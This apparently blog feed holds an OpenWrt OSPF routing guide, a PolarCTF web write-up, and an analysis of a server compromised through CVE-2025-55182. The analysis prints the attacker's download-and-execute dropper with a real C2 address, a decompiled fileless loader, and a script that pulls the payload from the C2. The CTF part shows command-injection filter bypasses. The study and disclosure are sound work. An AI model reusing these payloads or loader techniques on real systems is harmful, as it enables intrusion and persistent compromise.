function is_intra_dn42_net4(){
    return net ~ [ 172.20.0.0/14+ ];
}

function is_intra_dn42_net6(){
    return net ~ [ fd00::/8+ ];
}

/etc/bird/intra/kernel.conf: Write routes learned by OSPF into the system routing table

protocol kernel intra_kernel_v4 {
    kernel table 254;
    scan time 20;
    ipv4 {
        table intra_table_v4;
        import none;
        export filter {
            if source = RTS_STATIC then reject;
            accept;
        };
    };
};

protocol kernel intra_kernel_v6 {
    kernel table 254;
    scan time 20;
    ipv6 {
        table intra_table_v6;
        import none;
        export filter {
            if source = RTS_STATIC then reject;
            accept;
        };
    };
};

/etc/bird/intra/ospf.conf: OSPF module

protocol ospf v3 intra_ospf_v4 {
    router id INTRA_ROUTER_ID; # Specify RouterID

    ipv4 {
        table intra_table_v4; # Specify routing table
        import where is_intra_dn42_net4() || is_intra_net4() && source != RTS_BGP;
        export where is_intra_dn42_net4() || is_intra_net4() && source != RTS_BGP;
    };

    include "ospf/*";
};

protocol ospf v3 intra_ospf_v6 {
    router id INTRA_ROUTER_ID; # Specify RouterID

    ipv6 {
        table intra_table_v6; # Specify routing table
        import where is_intra_dn42_net6() || is_intra_net6() && source != RTS_BGP;
        export where is_intra_dn42_net6() || is_intra_net6() && source != RTS_BGP;
    };

    include "ospf/*";
};

/etc/bird/intra/ospf/backbone.conf: OSPF Area Configuration

area 0.0.0.0 {
    interface "br-lan" { stub; }; # Local LAN interface
    interface "zta7oqfzy6" { # ZeroTier interface
        type broadcast;
        cost 100;
        hello 20;
    };
};

After completion, use:

/etc/init.d/bird start
/etc/init.d/bird enable

to start Bird and enable auto-start on boot. If everything is fine, you can use

birdc s p

to check Bird's status. If all goes well, after the other side is configured, you should see the OSPF state as Running:

root@X-WRT:/etc/bird# birdc s p
BIRD 2.18 ready.
Name       Proto      Table      State  Since         Info
device1    Device     ---        up     14:28:02.410
intra_kernel_v4 Kernel     intra_table_v4 up     14:28:02.410
intra_kernel_v6 Kernel     intra_table_v6 up     14:28:02.410
intra_ospf_v4 OSPF       intra_table_v4 up     14:28:02.410  Running
intra_ospf_v6 OSPF       intra_table_v6 up     14:31:38.389  Running

Have your friend follow the same process. Once both sides show Running status, you can use

birdc s r protocol intra_ospf_v4

to view the routes learned by OSPF. You'll find that routes to the other side via ZeroTier are being learned normally:

root@X-WRT:/etc/bird# birdc s r protocol intra_ospf_v4
BIRD 2.18 ready.
Table intra_table_v4:
...
192.168.1.0/24       unicast [intra_ospf_v4 23:20:21.398] * I (150/110) [100.64.0.163]
    via 100.64.0.163 on zta7oqfzy6
...
192.168.3.0/24       unicast [intra_ospf_v4 14:28:02.511] * I (150/10) [100.64.0.100]
    dev br-lan

You can also ping your friend's server from your PC:

iyoroy@iYoRoy-PC:~$ ping 192.168.1.103
PING 192.168.1.103 (192.168.1.103) 56(84) bytes of data.
64 bytes from 192.168.1.103: icmp_seq=1 ttl=63 time=54.3 ms
64 bytes from 192.168.1.103: icmp_seq=2 ttl=63 time=10.7 ms
64 bytes from 192.168.1.103: icmp_seq=3 ttl=63 time=15.2 ms
^C
--- 192.168.1.103 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 1998ms
rtt min/avg/max/mdev = 10.678/26.717/54.279/19.576 ms
iyoroy@iYoRoy-PC:~$ traceroute 192.168.1.103
traceroute to 192.168.1.103 (192.168.1.103), 30 hops max, 60 byte packets
 1  100.64.0.163 (100.64.0.163)  10.445 ms  9.981 ms  9.892 ms
 2  192.168.1.103 (192.168.1.103)  11.621 ms  10.994 ms  10.948 ms

Web browsing and speed tests work normally:

Summary

This series of operations essentially implements the following network structure:

flowchart TB
    %% === Style Definitions ===
    classDef phyNet fill:#e3f2fd,stroke:#1565c0,stroke-width:2px
    classDef virNet fill:#fff3e0,stroke:#ef6c00,stroke-width:2px,stroke-dasharray: 5 5
    classDef router fill:#333,stroke:#000,stroke-width:2px,color:#fff
    classDef ztCard fill:#f57c00,stroke:#e65100,stroke-width:2px,color:#fff,shape:rect
    classDef bird fill:#a5d6a7,stroke:#2e7d32,stroke-width:1px,color:#000

    classDef invisibleContainer fill:none,stroke:none,color:none

    %% === Physical Layer Containers ===
    subgraph Top_Physical_Layer [" "]
        direction LR

        subgraph Left_Side ["My Home (Node A)"]
            direction TB
            L_Router[X-WRT Router A]:::router
            L_LAN[LAN: 192.168.3.0/24]
            L_LAN <--> L_Router
        end

        subgraph Right_Side ["Friend's Home (Node B)"]
            direction TB
            R_Router[X-WRT Router B]:::router
            R_LAN[LAN: 192.168.1.0/24]
            R_LAN <--> R_Router
        end
    end

    %% === Virtual Layer Container ===
    subgraph Middle_Side [ZeroTier Virtual L2 Network]
        direction LR

        subgraph ZT_Stack_A [My Home ZT Access]
            direction TB
            L_NIC(zt0: 100.64.0.x):::ztCard
            L_Bird(Bird OSPF):::bird
            L_NIC <-.- L_Bird
        end

        subgraph ZT_Stack_B [Friend's Home ZT Access]
            direction TB
            R_NIC(zt0: 100.64.0.y):::ztCard
            R_Bird(Bird OSPF):::bird
            R_NIC <-.- R_Bird
        end

        L_NIC <==P2P Tunnel==> R_NIC
    end

    %% === Cross-Layer Connections ===
    L_Router === L_NIC
    R_Router === R_NIC

    %% === Style Application ===
    class Left_Side,Right_Side phyNet
    class Middle_Side virNet
    class Top_Physical_Layer invisibleContainer

The underlying P2P network is still powered by ZeroTier. However, using OSPF for internal routing allows both sides to directly route to devices on each other's network segments. Since both sides can fully learn each other's routes, no NAT is required, and both sides can directly see each other's source addresses.

Check out the other side of this story!

From my friend's side: Linux Operations - OSPF Networking Implementation Based on Bird for New OpenWrt » NanamiのTechLaunchTower

PolarCTF 2025冬季赛 Web Polarflag WriteUp

Sat, 06 Dec 2025 23:55:30 GMT

打开网页，可发现是一个登录页：

尝试通过dirsearch扫描，得到：

Target: http://8c9e4bf8-68c2-4c3f-bf12-2b578912c971.game.polarctf.com:8090/

[15:15:01] Starting: 
[15:15:04] 403 -  319B  - /.ht_wsr.txt
[15:15:04] 403 -  319B  - /.htaccess.bak1
[15:15:04] 403 -  319B  - /.htaccess.orig
[15:15:04] 403 -  319B  - /.htaccess.sample
[15:15:04] 403 -  319B  - /.htaccess.save
[15:15:04] 403 -  319B  - /.htaccess_orig
[15:15:04] 403 -  319B  - /.htaccess_extra
[15:15:04] 403 -  319B  - /.htaccess_sc
[15:15:04] 403 -  319B  - /.htaccessBAK
[15:15:04] 403 -  319B  - /.htaccessOLD
[15:15:04] 403 -  319B  - /.htaccessOLD2
[15:15:04] 403 -  319B  - /.htm
[15:15:04] 403 -  319B  - /.html
[15:15:04] 403 -  319B  - /.htpasswd_test
[15:15:04] 403 -  319B  - /.htpasswds
[15:15:04] 403 -  319B  - /.httr-oauth
[15:15:19] 200 -  448B  - /flag.txt
[15:15:20] 200 -    3KB - /index.php
[15:15:20] 200 -    3KB - /index.php/login/
[15:15:28] 403 -  319B  - /server-status/
[15:15:28] 403 -  319B  - /server-status

Task Completed

发现/flag.txt，访问：

<?php
$original = "flag{polar_flag_in_here}";


$ascii_codes = [117, 115, 101, 114, 110, 97, 109, 101];
$new = "";
foreach ($ascii_codes as $code) {
    $new .= chr($code);
}


function replaceString($original, $new) {
    $temp = str_replace("flag{", "the_", $original);
    $temp = str_replace("polar_flag_in_here}", $new . "_is_polar", $temp);
    return $temp;
}

$result = replaceString($orginal, $ne1w);


echo "flag{polar_flag_in_here}";
?>

尝试运行，发现语法错误，修正：

...
    return $temp;
}

-$result = replaceString($orginal, $ne1w);
+$result = replaceString($original, $new);

-echo "flag{polar_flag_in_here}";
+echo $result;

运行，得到：the_username_is_polar，提示我们用户名是polar。同时，题目附件提供了一个字典wordlist.txt，尝试使用BurpSuite爆破：

爆破发现当密码为6666的时候会跳转到/polar.php：

访问/polar.php，得到：

<?php
error_reporting(0);
session_start();
if(isset($_GET['logout'])){
    session_destroy();
    header('Location: index.php');
    exit();
}
// 初始化会话变量
if(!isset($_SESSION['collision_passed'])) {
    $_SESSION['collision_passed'] = false;
}
//想赢的人脸上是没有笑容的 
if(isset($_POST['a']) && isset($_POST['b'])) {
    if($_POST['a'] != $_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
        echo "MD5 不错不错 \n";
        $_SESSION['collision_passed'] = true;
    } else {
        echo "MD5 你不行啊\n";
        $_SESSION['collision_passed'] = false;
    }
}


if(isset($_GET["polar"])){
    if($_SESSION['collision_passed']) {
        if(preg_match('/et|echo|cat|tac|base|sh|tar|more|less|tail|nl|fl|vi|head|env|\||;|\^|\'|\]|"|<|>|`|\/| |\\\\|\*/i',$_GET["polar"])){
           echo "gun gun !";
        } else {
            echo "polar polar !";
            system($_GET["polar"]);
        }
    } else {
        echo "回去吧，这块不要了\n";
    }
} else {
    show_source(__FILE__);
    echo '<br><br><a href="?logout=1" style="color: #4CAF50; text-decoration: none; font-weight: bold;">回家喽</a>';
}
?>

首先进行MD5绕过，传入a[]=1&b[]=2即可：

POST /polar.php HTTP/1.1
Host: 350eddd0-fd57-4dd0-94d3-c0c8888afd7d.game.polarctf.com:8090
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.95 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 11

a[]=1&b[]=2

发现服务端返回了一个：

Set-Cookie: PHPSESSID=443dctaboep4kh53upn3v2pqal; path=/

并且提示MD5 不错不错，成功绕过。因为我用的BurpSuite发请求，接下来我打算用普通浏览器做，因此将这个cookie写入浏览器。接着直接访问/polar.php?polar=即可传入指令，不需要再绕MD5。
观察正则匹配规则，发现阻止了很多内容，包括一系列符号。首先尝试通过export导出环境变量，发现一个Flag：flag{7b93dd56-4f33-4738-b916-464a984093b3}，提交上去发现不对，问客服说这个Flag不对（望天）
因为过滤了空格，因此可使用$IFS$1或者%09（Tab）绕过。同时，因为禁用了/，因此使用${PWD:0:1}（截取PWD环境变量的第一个字符，就是/）代替。构造请求：

http://350eddd0-fd57-4dd0-94d3-c0c8888afd7d.game.polarctf.com:8090/polar.php?polar=ls%09${PWD:0:1}

得到：

polar polar !bin dev etc home lib media mnt opt polarflag proc root run sbin srv sys tmp usr var

发现Flag文件：/polarflag，因为过滤了fl，不能直接调用文件名，因此使用?????????来通配9个字符的文件。禁用了cat，tail，more，less等能打印内容的指令，但是仍然可以使用sort之类的指令，也能打印出来：

http://350eddd0-fd57-4dd0-94d3-c0c8888afd7d.game.polarctf.com:8090/polar.php?polar=sort%09${PWD:0:1}?????????

得到Flag：flag{polarctf1314inwebgame}

PolarCTF 2025 Winter Competition Web Polarflag WriteUp

Sat, 06 Dec 2025 23:55:00 GMT

Opening the webpage, you can see it is a login page:

Attempting to scan with dirsearch yields:

Target: http://8c9e4bf8-68c2-4c3f-bf12-2b578912c971.game.polarctf.com:8090/

[15:15:01] Starting: 
[15:15:04] 403 -  319B  - /.ht_wsr.txt
[15:15:04] 403 -  319B  - /.htaccess.bak1
[15:15:04] 403 -  319B  - /.htaccess.orig
[15:15:04] 403 -  319B  - /.htaccess.sample
[15:15:04] 403 -  319B  - /.htaccess.save
[15:15:04] 403 -  319B  - /.htaccess_orig
[15:15:04] 403 -  319B  - /.htaccess_extra
[15:15:04] 403 -  319B  - /.htaccess_sc
[15:15:04] 403 -  319B  - /.htaccessBAK
[15:15:04] 403 -  319B  - /.htaccessOLD
[15:15:04] 403 -  319B  - /.htaccessOLD2
[15:15:04] 403 -  319B  - /.htm
[15:15:04] 403 -  319B  - /.html
[15:15:04] 403 -  319B  - /.htpasswd_test
[15:15:04] 403 -  319B  - /.htpasswds
[15:15:04] 403 -  319B  - /.httr-oauth
[15:15:19] 200 -  448B  - /flag.txt
[15:15:20] 200 -    3KB - /index.php
[15:15:20] 200 -    3KB - /index.php/login/
[15:15:28] 403 -  319B  - /server-status/
[15:15:28] 403 -  319B  - /server-status

Task Completed

Discover /flag.txt, access it:

<?php
$original = "flag{polar_flag_in_here}";


$ascii_codes = [117, 115, 101, 114, 110, 97, 109, 101];
$new = "";
foreach ($ascii_codes as $code) {
    $new .= chr($code);
}


function replaceString($original, $new) {
    $temp = str_replace("flag{", "the_", $original);
    $temp = str_replace("polar_flag_in_here}", $new . "_is_polar", $temp);
    return $temp;
}

$result = replaceString($orginal, $ne1w);


echo "flag{polar_flag_in_here}";
?>

Attempting to run it reveals a syntax error. Correct it:

...
    return $temp;
}

-$result = replaceString($orginal, $ne1w);
+$result = replaceString($original, $new);

-echo "flag{polar_flag_in_here}";
+echo $result;

Running it yields: the_username_is_polar, hinting that the username is polar. Meanwhile, the challenge attachment provides a dictionary wordlist.txt. Attempt brute-forcing with BurpSuite:

Brute-forcing reveals that when the password is 6666, it redirects to /polar.php:

Access /polar.php, obtain:

<?php
error_reporting(0);
session_start();
if(isset($_GET['logout'])){
    session_destroy();
    header('Location: index.php');
    exit();
}
// Initialize session variable
if(!isset($_SESSION['collision_passed'])) {
    $_SESSION['collision_passed'] = false;
}
// The one who wants to win has no smile on their face  
if(isset($_POST['a']) && isset($_POST['b'])) {
    if($_POST['a'] != $_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
        echo "MD5 Well done \n";
        $_SESSION['collision_passed'] = true;
    } else {
        echo "MD5 Not good enough\n";
        $_SESSION['collision_passed'] = false;
    }
}


if(isset($_GET["polar"])){
    if($_SESSION['collision_passed']) {
        if(preg_match('/et|echo|cat|tac|base|sh|tar|more|less|tail|nl|fl|vi|head|env|\||;|\^|\'|\]|"|<|>|`|\/| |\\\\|\*/i',$_GET["polar"])){
           echo "gun gun !";
        } else {
            echo "polar polar !";
            system($_GET["polar"]);
        }
    } else {
        echo "Go back, this part isn't needed\n";
    }
} else {
    show_source(__FILE__);
    echo '<br><br><a href="?logout=1" style="color: #4CAF50; text-decoration: none; font-weight: bold;">Go home</a>';
}
?>

First, bypass the MD5 check by passing a[]=1&b[]=2:

POST /polar.php HTTP/1.1
Host: 350eddd0-fd57-4dd0-94d3-c0c8888afd7d.game.polarctf.com:8090
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.95 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 11

a[]=1&b[]=2

The server returns:

Set-Cookie: PHPSESSID=443dctaboep4kh53upn3v2pqal; path=/

And prompts MD5 Well done, successfully bypassing. Since I used BurpSuite to send the request, I plan to use a regular browser next, so I write this cookie into the browser. Then directly access /polar.php?polar= to pass commands, no need to bypass MD5 again.
Observing the regex filtering rules, many characters are blocked, including a series of symbols. First, try exporting environment variables with export, and discover a Flag: flag{7b93dd56-4f33-4738-b916-464a984093b3}, but submitting it shows it's incorrect. Asking customer service confirms this Flag is wrong.
Since spaces are filtered, use $IFS$1 or %09 (Tab) to bypass. Also, because / is blocked, use ${PWD:0:1} (extract the first character of the PWD environment variable, which is /) instead. Construct the request:

http://350eddd0-fd57-4dd0-94d3-c0c8888afd7d.game.polarctf.com:8090/polar.php?polar=ls%09${PWD:0:1}

Obtain:

polar polar !bin dev etc home lib media mnt opt polarflag proc root run sbin srv sys tmp usr var

Discover the Flag file: /polarflag. Since fl is filtered, cannot directly call the filename, so use ????????? to match a 9-character file. Commands like cat, tail, more, less that can print content are disabled, but commands like sort can still be used and also print content:

http://350eddd0-fd57-4dd0-94d3-c0c8888afd7d.game.polarctf.com:8090/polar.php?polar=sort%09${PWD:0:1}?????????

Obtain the Flag: flag{polarctf1314inwebgame}

记服务器因CVE-2025-66478,CVE-2025-55182被挂C2的逆向分析经历

Sat, 06 Dec 2025 15:53:00 GMT

背景

周六傍晚休息的时候阿里云突然给打电话，说服务器可能受到黑客入侵。上阿里云控制台看了一眼：

担心的事情还是发生了，近期披露的CVE-2025-55182漏洞可以被RCE，服务器上运行的Umami统计工具使用了包含漏洞的Next.JS版本。早上的时候我手动更新了一下我的Umami，但是看起来官方还并未发布相关更新。服务器告警来源就是umami镜像，执行了一个远程的Shell脚本。
~~作为一个CTFer，这送上门的样本不研究一下说不过去吧（~~

分析

脚本

阿里云给出的警告可以看到执行shell脚本：

/bin/sh -c wget https://sup001.oss-cn-hongkong.aliyuncs.com/123/python1.sh && chmod 777 python1.sh && ./python1.sh

尝试手动下载下来那个python1.sh：

export PATH=$PATH:/bin:/usr/bin:/sbin:/usr/local/bin:/usr/sbin
mkdir -p /tmp
cd /tmp
touch /usr/local/bin/writeablex >/dev/null 2>&1 && cd /usr/local/bin/
touch /usr/libexec/writeablex >/dev/null 2>&1 && cd /usr/libexec/
touch /usr/bin/writeablex >/dev/null 2>&1 && cd /usr/bin/
rm -rf /usr/local/bin/writeablex /usr/libexec/writeablex /usr/bin/writeablex
export PATH=$PATH:$(pwd)

l64="119.45.243.154:8443/?h=119.45.243.154&p=8443&t=tcp&a=l64&stage=true"
l32="119.45.243.154:8443/?h=119.45.243.154&p=8443&t=tcp&a=l32&stage=true"
a64="119.45.243.154:8443/?h=119.45.243.154&p=8443&t=tcp&a=a64&stage=true"
a32="119.45.243.154:8443/?h=119.45.243.154&p=8443&t=tcp&a=a32&stage=true"

v="042d0094tcp"
rm -rf $v

ARCH=$(uname -m)
if [ ${ARCH}x = "x86_64x" ]; then
    (curl -fsSL -m180 $l64 -o $v||wget -T180 -q $l64 -O $v||python -c 'import urllib;urllib.urlretrieve("http://'$l64'", "'$v'")')
elif [ ${ARCH}x = "i386x" ]; then
    (curl -fsSL -m180 $l32 -o $v||wget -T180 -q $l32 -O $v||python -c 'import urllib;urllib.urlretrieve("http://'$l32'", "'$v'")')
elif [ ${ARCH}x = "i686x" ]; then
    (curl -fsSL -m180 $l32 -o $v||wget -T180 -q $l32 -O $v||python -c 'import urllib;urllib.urlretrieve("http://'$l32'", "'$v'")')
elif [ ${ARCH}x = "aarch64x" ]; then
    (curl -fsSL -m180 $a64 -o $v||wget -T180 -q $a64 -O $v||python -c 'import urllib;urllib.urlretrieve("http://'$a64'", "'$v'")')
elif [ ${ARCH}x = "armv7lx" ]; then
    (curl -fsSL -m180 $a32 -o $v||wget -T180 -q $a32 -O $v||python -c 'import urllib;urllib.urlretrieve("http://'$a32'", "'$v'")')
fi

chmod +x $v
(nohup $(pwd)/$v > /dev/null 2>&1 &) || (nohup ./$v > /dev/null 2>&1 &) || (nohup /usr/bin/$v > /dev/null 2>&1 &) || (nohup /usr/libexec/$v > /dev/null 2>&1 &) || (nohup /usr/local/bin/$v > /dev/null 2>&1 &) || (nohup /tmp/$v > /dev/null 2>&1 &)
#

发现是根据CPU架构下载对应版本的ELF文件。

加载器

尝试手动下载上面脚本中的amd64架构的二进制，并通过IDA Pro打开：

int __fastcall main(int argc, const char **argv, const char **envp)
{
  struct hostent *v3; // rax
  in_addr_t v4; // eax
  int v5; // eax
  int v6; // ebx
  int v7; // r12d
  int v8; // edx
  _BYTE *v9; // rax
  __int64 v10; // rcx
  _DWORD *v11; // rdi
  _BYTE buf[2]; // [rsp+2h] [rbp-1476h] BYREF
  int optval; // [rsp+4h] [rbp-1474h] BYREF
  char *argva[2]; // [rsp+8h] [rbp-1470h] BYREF
  sockaddr addr; // [rsp+1Ch] [rbp-145Ch] BYREF
  char name[33]; // [rsp+2Fh] [rbp-1449h] BYREF
  char resolved[1024]; // [rsp+50h] [rbp-1428h] BYREF
  _BYTE v19[4136]; // [rsp+450h] [rbp-1028h] BYREF

  if ( !access("/tmp/log_de.log", 0) )
    exit(0);
  qmemcpy(name, "119.45.243.154", sizeof(name));
  *(_QWORD *)&addr.sa_family = 4213178370LL;
  *(_QWORD *)&addr.sa_data[6] = 0LL;
  v3 = gethostbyname(name);
  if ( v3 )
    v4 = **(_DWORD **)v3->h_addr_list;
  else
    v4 = inet_addr(name);
  *(_DWORD *)&addr.sa_data[2] = v4;
  v5 = socket(2, 1, 0);
  v6 = v5;
  if ( v5 >= 0 )
  {
    optval = 10;
    setsockopt(v5, 6, 7, &optval, 4u);
    while ( connect(v6, &addr, 0x10u) == -1 )
      sleep(0xAu);
    send(v6, "l64   ", 6uLL, 0);
    buf[0] = addr.sa_data[0];
    buf[1] = addr.sa_data[1];
    send(v6, buf, 2uLL, 0);
    send(v6, name, 0x20uLL, 0);
    v7 = syscall(319LL, "a", 0LL);
    if ( v7 >= 0 )
    {
      while ( 1 )
      {
        v8 = recv(v6, v19, 0x1000uLL, 0);
        if ( v8 <= 0 )
          break;
        v9 = v19;
        do
          *v9++ ^= 0x99u;
        while ( (int)((_DWORD)v9 - (unsigned int)v19) < v8 );
        write(v7, v19, v8);
      }
      v10 = 1024LL;
      v11 = v19;
      while ( v10 )
      {
        *v11++ = 0;
        --v10;
      }
      close(v6);
      realpath(*argv, resolved);
      setenv("CWD", resolved, 1);
      argva[0] = "[kworker/0:2]";
      argva[1] = 0LL;
      fexecve(v7, argva, _bss_start);
    }
  }
  return 0;
}

分析发现主要的几个危险操作：

v7 = syscall(319LL, "a", 0LL);，319是Linux x64架构下的memfd_create系统调用，用于在内存中创建匿名文件。随后，从目标服务器下载Payload，加载到这段内存中并执行。这是一个Fileless Malware，他不会将payload存储在磁盘中，而是直接加载进内存。
*v9++ ^= 0x99u;，将从服务器下载到的Payload按字节异或0x99，进行解密，可能是用于绕过防火墙
argva[0] = "[kworker/0:2]";，将本进程伪装成内核的kworker进程

其他操作：

通过检测是否存在日志文件/tmp/log_de.log，判断服务器是否已经被入侵，若已经被入侵则直接退出
连接C2服务器完成或失败后会间隔10秒再次尝试连接并加载Payload

从上述逆向代码可很明显的看出发马的服务器IP为119.45.243.154，但是端口没找到。分析一下设置端口部分的代码：

*(_QWORD *)&addr.sa_family = 4213178370LL;

其中，4213178370LL(DEC)=0xFB200002(HEX)，因为是QWORD，即64位值，所以实际值为0x00000000FB200002。同时因为是小端序，所以实际存储在内存的offset中的格式是02 00 20 FB 00 00 00 00。
sockaddr在内存中的offset一般是：

offset 0–1：sa_family（2 字节）
offset 2–15：sa_data（14 字节）

也就是说，上述赋值语句实现了：

offset 0: sa_family的低字节=0x02
offset 1: sa_family的高字节=0x00
offset 2: sa_data[0]=0x20
offset 3: sa_data[1]=0xFB
offset 4..7: sa_data[2..5]=0x00 0x00 0x00 0x00 其中，sa_data[0..1]代表了端口，sa_data[2..5]代表IP。因为网络字节序为大端序，因此实际端口就是0x20FB，即8443。后面也可找到赋值IP的部分：

v3 = gethostbyname(name);
if ( v3 )
  v4 = **(_DWORD **)v3->h_addr_list;
else
  v4 = inet_addr(name);
*(_DWORD *)&addr.sa_data[2] = v4;

编写一个Python脚本，按照这个加载器中的逻辑连接服务器并尝试加载Payload到ELF文件：

import socket
import time
import os

C2_HOST = "119.45.243.154"
C2_PORT = 8443

OUTPUT_FILE = "payload.elf"

def xor_decode(data):
    return bytes([b ^ 0x99 for b in data])

def main():
    # 删除旧的文件
    if os.path.exists(OUTPUT_FILE):
        os.remove(OUTPUT_FILE)

    while True:
        try:
            print(f"[+] Connecting to C2 {C2_HOST}:{C2_PORT} ...")
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.connect((C2_HOST, C2_PORT))
            print("[+] Connected.")

            # Handshake
            s.send(b"l64   ")
            s.send(b"\x20\xfb")  # fake port
            s.send(b"119.45.243.154".ljust(32, b"\x00"))

            print("[+] Handshake sent.")
            print(f"[+] Writing decrypted ELF data to {OUTPUT_FILE}\n")

            with open(OUTPUT_FILE, "ab") as f:
                while True:
                    data = s.recv(4096)
                    if not data:
                        print("[-] C2 closed connection.")
                        break

                    decrypted = xor_decode(data)
                    f.write(decrypted)

                    print(f"[+] Received {len(data)} bytes, written to file.")

            print("[*] Reconnecting in 10 seconds...\n")
            time.sleep(10)

        except Exception as e:
            print(f"[-] Error: {e}")
            print("[*] Reconnecting in 10 seconds...\n")
            time.sleep(10)

if __name__ == "__main__":
    main()

运行可得到一个ELF文件payload.elf。

Payload.elf

先丢到微步云沙箱里检测一下，发现确实是个木马：

但是沙箱并未检测出一些高危行为。问了一下Reverse方向的学长，把样本发给对方研究了一下发现是Golang编写的。使用GoReSym导出符号表，并加载进IDA Pro：

\GoReSym.exe payload.elf > symbols.json

让AI编写一个IDA Pro的脚本导入符号表：

import json
import idc
import idaapi
import idautils

# ⚠️ 修改这里：指向你刚才生成的 symbols.json 文件路径
json_path = r"D:\\Desktop\\symbols.json" 

def restore_symbols():
    print("[-] Loading symbols from JSON...")
    try:
        with open(json_path, 'r', encoding='utf-8') as f:
            data = json.load(f)
    except Exception as e:
        print(f"[!] Error opening file: {e}")
        return

    # 1. 恢复用户函数 (UserFunctions)
    count = 0
    for func in data.get('UserFunctions', []):
        start_addr = func['Start']
        # 你的 JSON 里全是混淆名字，比如 shK3zqV.O86rtPRpp
        # 我们主要关心完整的 FullName
        full_name = func['FullName']
        
        # 清理名称中 IDA 不喜欢的字符
        safe_name = full_name.replace("(", "_").replace(")", "_").replace("*", "ptr_").replace("/", "_")
        
        # 尝试重命名
        if idc.set_name(start_addr, safe_name, idc.SN_NOWARN | idc.SN_NOCHECK) == 1:
            # 可选：如果重命名成功，尝试让 IDA 重新分析该处为代码
            idc.create_insn(start_addr)
            idc.add_func(start_addr)
            count += 1
            
    print(f"[+] Successfully renamed {count} functions.")

if __name__ == "__main__":
    restore_symbols()

在IDA中通过File-Script file选择上述脚本即可导入符号表。同时，将符号表发给AI分析，发现存在一些对OSS存储桶的一些操作函数：

(*Config).GetAccessKeyID / GetAccessKeySecret / GetSecurityToken -> 窃取或使用云凭证。
Bucket.PutObjectFromFile -> 上传文件（极可能是在窃取你服务器上的数据并上传到攻击者的 OSS Bucket）。
Bucket.DoPutObject -> 执行上传操作。
(*Config).LimitUploadSpeed / LimitDownloadSpeed -> 限制带宽占用，防止被你发现网络异常。

混淆后的包名	真实包/功能推测	证据 (Artifacts)	行为描述
`ojQuzc_T`	Aliyun OSS SDK	`PutObjectFromFile`, `GetAccessKeySecret`	连接阿里云 OSS，上传/下载文件，窃取凭证。
`l2FdnE6`	`os/exec` (命令执行)	`(*Ps1Jpr8w8).Start`, `StdinPipe`, `Output`	执行系统命令。它在调用 Linux shell 命令。
`qzjJr5PCHfoj`	`os` / 文件系统操作	`Readdir`, `Chown`, `Truncate`, `SyscallConn`	遍历目录、修改文件权限、读写文件。
`PqV1YDIP`	`godbus/dbus` (D-Bus)	`(Conn).BusObject`, `(Conn).Eavesdrop`	连接 Linux D-Bus。可能用于权限提升、监控系统事件或与 `systemd` 交互。
`c376cVel0vv`	`math/rand`	`NormFloat64`, `Shuffle`, `Int63`	生成随机数。常用于生成通信密钥或挖矿算法的随机性。
`r_zJbsaQ`	`net` (网络底层)	`DialContext`, `Listen`, `Accept`, `SetKeepAlive`	建立 TCP/UDP 连接，可能是 C2 通信或作为后门监听端口。
`J9ItGl7U`	`net/http2`	`http2ErrCode`, `WriteHeaders`, `WriteData`	使用 HTTP/2 协议进行通信（可能用于隐藏 C2 流量）。
`Otkxde`	ECC 密码学库	`ScalarMult`, `Double`, `SetGenerator`	椭圆曲线加密。可能是为了加密 C2 通信，或者是勒索软件的加密模块。

可推测一些可能的程序逻辑：

持久化与控制 (D-Bus & Net):
- 它尝试通过 PqV1YDIP 包连接 D-Bus，这在服务器恶意软件中较少见，可能试图劫持系统服务或监控管理员行为。
- 它通过 r_zJbsaQ 监听端口或反弹连接。
数据窃取 (Aliyun OSS):
- 它并没有将数据传回普通的 C2 服务器 IP，而是利用阿里云 OSS 作为“中转站”。这是一种非常聪明的做法，因为指向阿里云的流量通常会被防火墙视为白名单流量，很难被发现。
命令执行 (os/exec):
- 它包含完整的 Shell 执行能力 (l2FdnE6)，可以执行任意命令、下载脚本、修改文件权限。
可能的勒索或挖矿特征:
- 大量的数学运算库（Otkxde, HfBi9x4DOLl 等包包含大量的 Mul, Add, Square, Invert）暗示了它是 计算密集型 的。
- 如果是勒索软件：这些数学库用于生成密钥加密文件。
- 如果是挖矿木马：这些库用于计算哈希。结合它使用了 math/rand 的 Shuffle 和 NormFloat64，这符合某些挖矿算法（如 RandomX）的特征。

进一步分析，最终找到了这样一个函数UXTgUQ_stlzy_RraJUM：

丢给AI分析，结论是：

这是一个非常典型的 Golang 编写的 C2 (Command & Control) 指令分发函数。

结合你之前提供的“Linux 加载器”上下文，这个函数属于被那个加载器下载并执行的核心木马程序（Bot）。

1. 代码总览与定位

功能: 指令分发器 (Command Dispatcher)。这是木马的主循环逻辑之一，负责接收 C2 服务器发送的指令字符串，解析并执行对应的恶意功能。
安全机制: 函数开头有一个鉴权检查 if ( v18 == a2 && (unsigned __int8)sub_4035C0() )。如果校验失败，直接返回 "401 Not Auth"，说明该木马具有一定的反扫描或会话认证机制。

2. 指令集详细逆向

代码通过 switch ( a4 ) 判断指令字符串的长度，然后检查具体的内容。这里有大量的硬编码字符串和 Hex 值：

Case 1 (单字符指令 - 基础控制)

这通常是早期版本残留或为了减少流量设计的简写指令：

I: 调用 os_rename。功能：重命名文件。
E: 调用 os_removeAll。功能：删除文件/清理痕迹。
J: 返回 "0" 或未知。可能用于心跳检测或状态查询。
Z: 返回 "mysql_close\t1"。功能：数据库相关，推测该木马包含 MySQL 爆破或连接模块，此指令用于关闭连接。
